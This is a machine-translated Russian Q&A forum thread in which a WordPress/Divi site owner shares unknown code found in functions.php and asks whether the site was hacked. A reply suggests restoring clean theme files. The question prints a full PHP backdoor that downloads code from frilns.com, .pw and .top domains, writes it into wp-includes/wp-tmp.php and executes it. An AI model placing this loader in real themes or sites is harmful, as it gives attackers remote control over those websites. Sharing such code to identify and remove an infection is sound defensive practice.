WordPress неизвестный код функции. php - http://www.frilns.com/code.php - PullRequest
1 голос
/ 02 мая 2020

Я работаю над новым сайтом с темами Wordpress и Divi.

Сегодня я нашел в функции. php неизвестный код. Когда я пытаюсь go к URL-адресу, ничего не происходит.

На сайте: https://themecheck.info/ они сказали, что это вредоносная программа. Но я не могу подтвердить это (https://themecheck.info/fr/score/theme-wordpress-solar-shared-by-vestathemes-com.html)

В другом они сказали, что Frilins - это Chrome Malware. Ничего с WordPress.

Боюсь, что его взломали.

$wp_auth_key='3770030e7d87cbaf0baf1';
    if (($tmpcontent = @file_get_contents("http://www.frilns.com/code.php") OR $tmpcontent = 
@file_get_contents_tcurl("http://www.frilns.com/code.php")) AND stripos($tmpcontent, 
$wp_auth_key) !== false) {

        if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

            if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                    @file_put_contents('wp-tmp.php', $tmpcontent);
                }
            }

        }
    }


    elseif ($tmpcontent = @file_get_contents("http://www.frilns.pw/code.php")  AND 
stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

            if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                    @file_put_contents('wp-tmp.php', $tmpcontent);
                }
            }

        }
    } 

            elseif ($tmpcontent = @file_get_contents("http://www.frilns.top/code.php")  AND 
stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

            if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                    @file_put_contents('wp-tmp.php', $tmpcontent);
                }
            }

        }
    }
    elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND 
stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND 
stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, 
$wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    }    
}
}

Я пытался, но никакой реальной информации.

Спасибо за вашу помощь

J * * тысяча двадцать-две

1 Ответ

1 голос
/ 04 мая 2020

Вы можете сравнить функции по умолчанию. php файл из fre sh Divi install (взятый из области Члены, который на 100% безопасен) с вашими реальными функциями. php и увидите, что код вы в настоящее время наличие не по умолчанию, не должно.

Вы можете go в Параметры темы -> Обновления и откат к предыдущей версии, а затем выполнить обновление еще раз, чтобы получить тему fre sh чистые файлы.

...